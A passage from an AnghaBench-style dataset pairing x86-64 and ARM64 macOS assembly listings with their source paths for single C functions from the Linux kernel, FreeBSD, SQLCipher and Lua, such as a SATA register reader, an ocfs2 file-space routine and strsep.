16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGot Lloh12, Lloh13 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _ati_generic_private,16,3 ; @ati_generic_private .no_dead_strip _ati_create_gatt_pages .subsections_via_symbols
AnghaBench/linux/drivers/char/agp/extr_ati-agp.c_ati_create_gatt_pages.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function seriesDisconnect _seriesDisconnect: ## @seriesDisconnect .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _sqlite3_free movq _SQLITE_OK@GOTPCREL(%rip), %rax movl (%rax), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _SQLITE_OK,4,2 ## @SQLITE_OK .no_dead_strip _seriesDisconnect .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function seriesDisconnect _seriesDisconnect: ; @seriesDisconnect .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _sqlite3_free Lloh0: adrp x8, _SQLITE_OK@GOTPAGE Lloh1: ldr x8, [x8, _SQLITE_OK@GOTPAGEOFF] Lloh2: ldr w0, [x8] ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _SQLITE_OK,4,2 ; @SQLITE_OK .no_dead_strip _seriesDisconnect .subsections_via_symbols
AnghaBench/sqlcipher/tool/extr_fuzzershell.c_seriesDisconnect.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function k2_sata_tf_read _k2_sata_tf_read: ## @k2_sata_tf_read .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %rbx movq %rdi, %r15 callq _k2_stat_check_status movl %eax, 56(%rbx) movl 20(%r15), %edi callq _readw movq %rax, 48(%rbx) movl 16(%r15), %edi callq _readw movq %rax, -48(%rbp) ## 8-byte Spill movl 12(%r15), %edi callq _readw movq %rax, %r12 movl 8(%r15), %edi callq _readw movq %rax, %r13 movl 4(%r15), %edi callq _readw movq %rax, %r14 movl (%r15), %edi callq _readw movq -48(%rbp), %rdx ## 8-byte Reload movl %edx, (%rbx) movl %r12d, 4(%rbx) movl %r13d, 8(%rbx) movl %r14d, 12(%rbx) movl %eax, 16(%rbx) movq _ATA_TFLAG_LBA48@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testl %ecx, 20(%rbx) je LBB0_2 ## %bb.1: sarl $8, %edx movl %edx, 24(%rbx) sarl $8, %r12d movl %r12d, 28(%rbx) sarl $8, %r13d movl %r13d, 32(%rbx) sarl $8, %r14d movl %r14d, 36(%rbx) sarl $8, %eax movl %eax, 40(%rbx) LBB0_2: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _ATA_TFLAG_LBA48,4,2 ## @ATA_TFLAG_LBA48 .no_dead_strip _k2_sata_tf_read .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function k2_sata_tf_read _k2_sata_tf_read: ; @k2_sata_tf_read .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x1 mov x24, x0 bl _k2_stat_check_status str w0, [x19, #56] ldr w0, [x24, #20] bl _readw str x0, [x19, #48] ldr w0, [x24, #16] bl _readw mov x20, x0 ldr w0, [x24, #12] bl _readw mov x21, x0 ldr w0, [x24, #8] bl _readw mov x22, x0 ldr w0, [x24, #4] bl _readw mov x23, x0 ldr w0, [x24] bl _readw stp w20, w21, [x19] stp w22, w23, [x19, #8] str w0, [x19, #16] ldr w8, [x19, #20] Lloh0: adrp x9, _ATA_TFLAG_LBA48@GOTPAGE Lloh1: ldr x9, [x9, _ATA_TFLAG_LBA48@GOTPAGEOFF] Lloh2: ldr w9, [x9] tst w9, w8 b.eq LBB0_2 ; %bb.1: asr w8, w20, #8 asr w9, w21, #8 stp w8, w9, [x19, #24] asr w8, w22, #8 asr w9, w23, #8 stp w8, w9, [x19, #32] asr w8, w0, #8 str w8, [x19, #40] LBB0_2: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _ATA_TFLAG_LBA48,4,2 ; @ATA_TFLAG_LBA48 .no_dead_strip _k2_sata_tf_read .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/ata/extr_sata_svw.c_k2_sata_tf_read.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function glxiic_probe _glxiic_probe: ## @glxiic_probe .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movl %edi, %ebx callq _device_get_unit leaq L_.str(%rip), %rdi movl %eax, %esi callq _resource_disabled testq %rax, %rax je LBB0_2 ## %bb.1: movq _ENXIO@GOTPCREL(%rip), %rax jmp LBB0_3 LBB0_2: leaq L_.str.1(%rip), %rsi movl %ebx, %edi callq _device_set_desc movq _BUS_PROBE_DEFAULT@GOTPCREL(%rip), %rax LBB0_3: movl (%rax), %eax addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "glxiic" .comm _ENXIO,4,2 ## @ENXIO L_.str.1: ## @.str.1 .asciz "AMD Geode CS5536 SMBus controller" .comm _BUS_PROBE_DEFAULT,4,2 ## @BUS_PROBE_DEFAULT .no_dead_strip _glxiic_probe .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function glxiic_probe _glxiic_probe: ; @glxiic_probe .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 bl _device_get_unit mov x1, x0 Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _resource_disabled cbz x0, LBB0_2 ; %bb.1: Lloh2: adrp x8, _ENXIO@GOTPAGE Lloh3: ldr x8, [x8, _ENXIO@GOTPAGEOFF] b LBB0_3 LBB0_2: Lloh4: adrp x1, l_.str.1@PAGE Lloh5: add x1, x1, l_.str.1@PAGEOFF mov x0, x19 bl _device_set_desc Lloh6: adrp x8, _BUS_PROBE_DEFAULT@GOTPAGE Lloh7: ldr x8, [x8, _BUS_PROBE_DEFAULT@GOTPAGEOFF] LBB0_3: ldr w0, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpAdd Lloh4, Lloh5 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "glxiic" .comm _ENXIO,4,2 ; @ENXIO l_.str.1: ; @.str.1 .asciz "AMD Geode CS5536 SMBus controller" .comm _BUS_PROBE_DEFAULT,4,2 ; @BUS_PROBE_DEFAULT .no_dead_strip _glxiic_probe .subsections_via_symbols
AnghaBench/freebsd/sys/dev/glxiic/extr_glxiic.c_glxiic_probe.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function dischargejpc _dischargejpc: ## @dischargejpc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movl (%rdi), %esi movl 4(%rdi), %edx movq _NO_REG@GOTPCREL(%rip), %rax movl (%rax), %ecx movl %edx, %r8d callq _patchlistaux movq _NO_JUMP@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, (%rbx) addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _NO_REG,4,2 ## @NO_REG .comm _NO_JUMP,4,2 ## @NO_JUMP .no_dead_strip _dischargejpc .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function dischargejpc _dischargejpc: ; @dischargejpc .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldp w1, w2, [x0] Lloh0: adrp x8, _NO_REG@GOTPAGE Lloh1: ldr x8, [x8, _NO_REG@GOTPAGEOFF] Lloh2: ldr w3, [x8] mov x4, x2 bl _patchlistaux Lloh3: adrp x8, _NO_JUMP@GOTPAGE Lloh4: ldr x8, [x8, _NO_JUMP@GOTPAGEOFF] Lloh5: ldr w8, [x8] str w8, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _NO_REG,4,2 ; @NO_REG .comm _NO_JUMP,4,2 ; @NO_JUMP .no_dead_strip _dischargejpc .subsections_via_symbols
AnghaBench/xLua/build/lua-5.3.3/src/extr_lcode.c_dischargejpc.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function __ocfs2_change_file_space ___ocfs2_change_file_space: ## @__ocfs2_change_file_space .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %r9d, -68(%rbp) ## 4-byte Spill movq %r8, -64(%rbp) ## 8-byte Spill ## kill: def $ecx killed $ecx def $rcx movq %rcx, -80(%rbp) ## 8-byte Spill movq %rdx, %r12 movq %rsi, %r13 movq %rdi, %rbx movq 16(%rsi), %rdi callq _OCFS2_SB movq %rax, %r14 movq $0, -48(%rbp) movq 16(%r13), %rax movq (%rax), %r15 movq %r14, %rdi callq _ocfs2_is_hard_readonly testq %rax, %rax jne LBB0_2 ## %bb.1: movq %r14, %rdi callq _ocfs2_is_soft_readonly testq %rax, %rax je LBB0_3 LBB0_2: movq _EROFS@GOTPCREL(%rip), %rax xorl %r12d, %r12d subl (%rax), %r12d LBB0_47: movl %r12d, %eax addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_3: movq %r12, -56(%rbp) ## 8-byte Spill movq %r13, %rdi callq _inode_lock movq %r13, %rdi movl $1, %esi callq _ocfs2_rw_lock testl %eax, %eax je LBB0_5 ## %bb.4: movl %eax, %r12d movl %eax, %edi callq _mlog_errno jmp LBB0_46 LBB0_5: leaq -48(%rbp), %rsi movq %r13, %rdi movl $1, %edx callq _ocfs2_inode_lock testl %eax, %eax je LBB0_7 ## %bb.6: movl %eax, %r12d movl %eax, %edi callq _mlog_errno jmp LBB0_45 LBB0_7: movq _S_IMMUTABLE@GOTPCREL(%rip), %rax movq _S_APPEND@GOTPCREL(%rip), %rcx movl (%rcx), %ecx orl (%rax), %ecx testl %ecx, (%r13) je LBB0_10 ## %bb.8: movq _EPERM@GOTPCREL(%rip), %rax jmp LBB0_9 LBB0_10: movq -64(%rbp), %r12 ## 8-byte Reload movl (%r12), %eax cmpl $2, %eax je LBB0_14 ## %bb.11: cmpl $1, %eax movq %rbx, %rsi je LBB0_15 ## %bb.12: testl %eax, %eax jne LBB0_21 ## %bb.13: movq 8(%r12), %rax jmp LBB0_16 LBB0_14: movq %r13, %rdi callq _i_size_read addq 8(%r12), %rax movq %rax, 8(%r12) movq %rbx, %rsi jmp LBB0_16 LBB0_15: movq -56(%rbp), %rax ## 8-byte Reload addq 8(%r12), %rax movq %rax, 8(%r12) LBB0_16: movl $0, (%r12) movq 16(%r12), %rdi xorl %ecx, %ecx testq %rdi, %rdi setg %dl testq %rax, %rax js LBB0_21 ## %bb.17: cmpq %r15, %rax ja LBB0_21 ## %bb.18: addq %rdi, %rax movb %dl, %cl movq %rax, %rdx subq %rcx, %rdx cmpq %r15, %rdx ja LBB0_21 ## %bb.19: movq -80(%rbp), %r15 ## 8-byte Reload movl %r15d, %ecx andl $-4, %ecx cmpl $128, %ecx jne LBB0_22 ## %bb.20: testq %rdi, %rdi jg LBB0_22 LBB0_21: movq _EINVAL@GOTPCREL(%rip), %rax LBB0_9: xorl %r12d, %r12d subl (%rax), %r12d LBB0_44: movq -48(%rbp), %rdi callq _brelse movq %r13, %rdi movl $1, %esi callq _ocfs2_inode_unlock LBB0_45: movq %r13, %rdi movl $1, %esi callq _ocfs2_rw_unlock LBB0_46: movq %r13, %rdi callq _inode_unlock jmp LBB0_47 LBB0_22: movq %rax, -56(%rbp) ## 8-byte Spill testq %rsi, %rsi je LBB0_26 ## %bb.23: movl 4(%rbx), %edi callq _should_remove_suid testq %rax, %rax je LBB0_26 ## %bb.24: movq -48(%rbp), %rsi movq %r13, %rdi callq ___ocfs2_write_remove_suid testl %eax, %eax je LBB0_26 ## %bb.25: movl %eax, %r12d jmp LBB0_32 LBB0_26: movq %r13, %rdi callq _OCFS2_I movq %rax, %rdi callq _down_write leal -128(%r15), %eax cmpl $2, %eax jb LBB0_29 ## %bb.27: addl $-130, %r15d cmpl $1, %r15d movq -64(%rbp), %rax ## 8-byte Reload ja LBB0_30 ## %bb.28: movq 8(%rax), %rsi movq 16(%rax), %rdx movq %r13, %rdi callq _ocfs2_allocate_unwritten_extents movl %eax, %r12d jmp LBB0_31 LBB0_29: movq -48(%rbp), %rsi movq -64(%rbp), %rax ## 8-byte Reload movq 8(%rax), %rdx movq 16(%rax), %rcx movq %r13, %rdi callq _ocfs2_remove_inode_range movl %eax, %r12d jmp LBB0_31 LBB0_30: movq _EINVAL@GOTPCREL(%rip), %rax xorl %r12d, %r12d subl (%rax), %r12d LBB0_31: movq %r13, %rdi callq _OCFS2_I movq %rax, %rdi callq _up_write testl %r12d, %r12d je LBB0_33 LBB0_32: movl %r12d, %edi callq _mlog_errno jmp LBB0_44 LBB0_33: movq _OCFS2_INODE_UPDATE_CREDITS@GOTPCREL(%rip), %rax movl (%rax), %esi movq %r14, %rdi callq _ocfs2_start_trans movq %rax, %r15 movq %rax, %rdi callq _IS_ERR testq %rax, %rax je LBB0_35 ## %bb.34: movq %r15, %rdi callq _PTR_ERR movl %eax, %r12d movl %eax, %edi callq _mlog_errno jmp LBB0_44 LBB0_35: cmpl $0, -68(%rbp) ## 4-byte Folded Reload je LBB0_38 ## %bb.36: movq %r13, %rdi callq _i_size_read cmpq -56(%rbp), %rax ## 8-byte Folded Reload jge LBB0_38 ## %bb.37: movq %r13, %rdi movq -56(%rbp), %rsi ## 8-byte Reload callq _i_size_write LBB0_38: movq %r13, %rdi callq _current_time movl %eax, 4(%r13) movl %eax, 8(%r13) movq -48(%rbp), %rdx movq %r15, %rdi movq %r13, %rsi callq _ocfs2_mark_inode_dirty movl %eax, %r12d testl %eax, %eax jns LBB0_40 ## %bb.39: movl %r12d, %edi callq _mlog_errno LBB0_40: testq %rbx, %rbx je LBB0_43 ## %bb.41: movq _O_SYNC@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, (%rbx) je LBB0_43 ## %bb.42: movl $1, (%r15) LBB0_43: movq %r14, %rdi movq %r15, %rsi callq _ocfs2_commit_trans jmp LBB0_44 .cfi_endproc ## -- End function .comm _EROFS,4,2 ## @EROFS .comm _S_IMMUTABLE,4,2 ## @S_IMMUTABLE .comm _S_APPEND,4,2 ## @S_APPEND .comm _EPERM,4,2 ## @EPERM .comm _EINVAL,4,2 ## @EINVAL .comm _OCFS2_INODE_UPDATE_CREDITS,4,2 ## @OCFS2_INODE_UPDATE_CREDITS .comm _O_SYNC,4,2 ## @O_SYNC .no_dead_strip ___ocfs2_change_file_space .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function __ocfs2_change_file_space ___ocfs2_change_file_space: ; @__ocfs2_change_file_space .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x5 mov x23, x4 mov x24, x3 mov x26, x2 mov x19, x1 mov x21, x0 ldr x0, [x1, #16] bl _OCFS2_SB mov x20, x0 str xzr, [sp, #8] ldr x8, [x19, #16] ldr x27, [x8] bl _ocfs2_is_hard_readonly cbnz x0, LBB0_2 ; %bb.1: mov x0, x20 bl _ocfs2_is_soft_readonly cbz x0, LBB0_4 LBB0_2: Lloh0: adrp x8, _EROFS@GOTPAGE Lloh1: ldr x8, [x8, _EROFS@GOTPAGEOFF] Lloh2: ldr w8, [x8] neg w25, w8 LBB0_3: mov x0, x25 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret LBB0_4: mov x0, x19 bl _inode_lock mov x0, x19 mov w1, #1 bl _ocfs2_rw_lock cbz w0, LBB0_6 ; %bb.5: mov x25, x0 bl _mlog_errno b LBB0_26 LBB0_6: add x1, sp, #8 mov x0, x19 mov w2, #1 bl _ocfs2_inode_lock cbz w0, LBB0_8 ; %bb.7: mov x25, x0 bl _mlog_errno b LBB0_25 LBB0_8: ldr w8, [x19] Lloh3: adrp x9, _S_IMMUTABLE@GOTPAGE Lloh4: ldr x9, [x9, _S_IMMUTABLE@GOTPAGEOFF] Lloh5: ldr w9, [x9] Lloh6: adrp x10, _S_APPEND@GOTPAGE Lloh7: ldr x10, [x10, _S_APPEND@GOTPAGEOFF] Lloh8: ldr w10, [x10] orr w9, w10, w9 tst w9, w8 b.eq LBB0_10 ; %bb.9: Lloh9: adrp x8, _EPERM@GOTPAGE Lloh10: ldr x8, [x8, _EPERM@GOTPAGEOFF] b LBB0_23 LBB0_10: ldr w8, [x23] cmp w8, #2 b.eq LBB0_14 ; %bb.11: cmp w8, #1 b.eq LBB0_15 ; %bb.12: cbnz w8, LBB0_22 ; %bb.13: ldr x8, [x23, #8] b LBB0_17 LBB0_14: mov x0, x19 bl _i_size_read ldr x8, [x23, #8] add x8, x8, x0 b LBB0_16 LBB0_15: ldr x8, [x23, #8] add x8, x8, x26 LBB0_16: str x8, [x23, #8] LBB0_17: str wzr, [x23] ldr x9, [x23, #16] cmp x9, #0 cset w10, gt tbnz x8, #63, LBB0_22 ; %bb.18: cmp x8, x27 b.hi LBB0_22 ; %bb.19: add x26, x8, x9 sub x8, x26, x10 cmp x8, x27 b.hi LBB0_22 ; %bb.20: and w8, w24, #0xfffffffc cmp w8, #128 b.ne LBB0_27 ; %bb.21: cmp x9, #0 b.gt LBB0_27 LBB0_22: Lloh11: adrp x8, _EINVAL@GOTPAGE Lloh12: ldr x8, [x8, _EINVAL@GOTPAGEOFF] LBB0_23: ldr w8, [x8] neg w25, w8 LBB0_24: ldr x0, [sp, #8] bl _brelse mov x0, x19 mov w1, #1 bl _ocfs2_inode_unlock LBB0_25: mov x0, x19 mov w1, #1 bl _ocfs2_rw_unlock LBB0_26: mov x0, x19 bl _inode_unlock b LBB0_3 LBB0_27: cbz x21, LBB0_31 ; %bb.28: ldr w0, [x21, #4] bl _should_remove_suid cbz x0, LBB0_31 ; %bb.29: ldr x1, [sp, #8] mov x0, x19 bl ___ocfs2_write_remove_suid cbz w0, LBB0_31 ; %bb.30: mov x25, x0 b LBB0_37 LBB0_31: mov x0, x19 bl _OCFS2_I bl _down_write sub w8, w24, #128 cmp w8, #2 b.lo LBB0_34 ; %bb.32: sub w8, w24, #130 cmp w8, #1 b.hi LBB0_35 ; %bb.33: ldp x1, x2, [x23, #8] mov x0, x19 bl _ocfs2_allocate_unwritten_extents mov x25, x0 b LBB0_36 LBB0_34: ldr x1, [sp, #8] ldp x2, x3, [x23, #8] mov x0, x19 bl _ocfs2_remove_inode_range mov x25, x0 b LBB0_36 LBB0_35: Lloh13: adrp x8, _EINVAL@GOTPAGE Lloh14: ldr x8, [x8, _EINVAL@GOTPAGEOFF] Lloh15: ldr w8, [x8] neg w25, w8 LBB0_36: mov x0, x19 bl _OCFS2_I bl _up_write cbz w25, LBB0_38 LBB0_37: mov x0, x25 bl _mlog_errno b LBB0_24 LBB0_38: Lloh16: adrp x8, _OCFS2_INODE_UPDATE_CREDITS@GOTPAGE Lloh17: ldr x8, [x8, _OCFS2_INODE_UPDATE_CREDITS@GOTPAGEOFF] Lloh18: ldr w1, [x8] mov x0, x20 bl _ocfs2_start_trans mov x23, x0 bl _IS_ERR cbz x0, LBB0_40 ; %bb.39: mov x0, x23 bl _PTR_ERR mov x25, x0 bl _mlog_errno b LBB0_24 LBB0_40: cbz w22, LBB0_43 ; %bb.41: mov x0, x19 bl _i_size_read cmp x0, x26 b.ge LBB0_43 ; %bb.42: mov x0, x19 mov x1, x26 bl _i_size_write LBB0_43: mov x0, x19 bl _current_time stp w0, w0, [x19, #4] ldr x2, [sp, #8] mov x0, x23 mov x1, x19 bl _ocfs2_mark_inode_dirty mov x25, x0 tbz w0, #31, LBB0_45 ; %bb.44: mov x0, x25 bl _mlog_errno LBB0_45: cbz x21, LBB0_48 ; %bb.46: ldr w8, [x21] Lloh19: adrp x9, _O_SYNC@GOTPAGE Lloh20: ldr x9, [x9, _O_SYNC@GOTPAGEOFF] Lloh21: ldr w9, [x9] tst w9, w8 b.eq LBB0_48 ; %bb.47: mov w8, #1 str w8, [x23] LBB0_48: mov x0, x20 mov x1, x23 bl _ocfs2_commit_trans b LBB0_24 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGot Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21 .cfi_endproc ; -- End function .comm _EROFS,4,2 ; @EROFS .comm _S_IMMUTABLE,4,2 ; @S_IMMUTABLE .comm _S_APPEND,4,2 ; @S_APPEND .comm _EPERM,4,2 ; @EPERM .comm _EINVAL,4,2 ; @EINVAL .comm _OCFS2_INODE_UPDATE_CREDITS,4,2 ; @OCFS2_INODE_UPDATE_CREDITS .comm _O_SYNC,4,2 ; @O_SYNC .no_dead_strip ___ocfs2_change_file_space .subsections_via_symbols
AnghaBench/linux/fs/ocfs2/extr_file.c___ocfs2_change_file_space.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _strsep ## -- Begin function strsep .p2align 4, 0x90 _strsep: ## @strsep .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 testq %rdi, %rdi je LBB0_8 ## %bb.1: movq %rdi, %r14 movq (%rdi), %r15 testq %r15, %r15 je LBB0_8 ## %bb.2: movb (%r15), %al testb %al, %al je LBB0_12 ## %bb.3: movq %rsi, %r12 leaq 1(%r15), %rbx .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movsbl %al, %edi movq %r12, %rsi callq _in_delim testl %eax, %eax jne LBB0_10 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movzbl (%rbx), %eax incq %rbx testb %al, %al jne LBB0_4 jmp LBB0_12 LBB0_8: xorl %r15d, %r15d jmp LBB0_14 LBB0_10: cmpb $0, -1(%rbx) je LBB0_12 ## %bb.11: movb $0, -1(%rbx) jmp LBB0_13 LBB0_12: xorl %ebx, %ebx LBB0_13: movq %rbx, (%r14) LBB0_14: movq %r15, %rax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _strsep ; -- Begin function strsep .p2align 2 _strsep: ; @strsep .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 cbz x0, LBB0_6 ; %bb.1: mov x20, x0 ldr x19, [x0] cbz x19, LBB0_11 ; %bb.2: ldrb w8, [x19] cbz w8, LBB0_9 ; %bb.3: mov x21, x1 add x22, x19, #1 LBB0_4: ; =>This Inner Loop Header: Depth=1 sxtb w0, w8 mov x1, x21 bl _in_delim cbnz w0, LBB0_7 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 ldrb w8, [x22], #1 cbnz w8, LBB0_4 b LBB0_9 LBB0_6: mov x19, #0 b LBB0_11 LBB0_7: ldurb w8, [x22, #-1] cbz w8, LBB0_9 ; %bb.8: sturb wzr, [x22, #-1] b LBB0_10 LBB0_9: mov x22, #0 LBB0_10: str x22, [x20] LBB0_11: mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/freebsd/contrib/unbound/compat/extr_strsep.c_strsep.c
anghabench
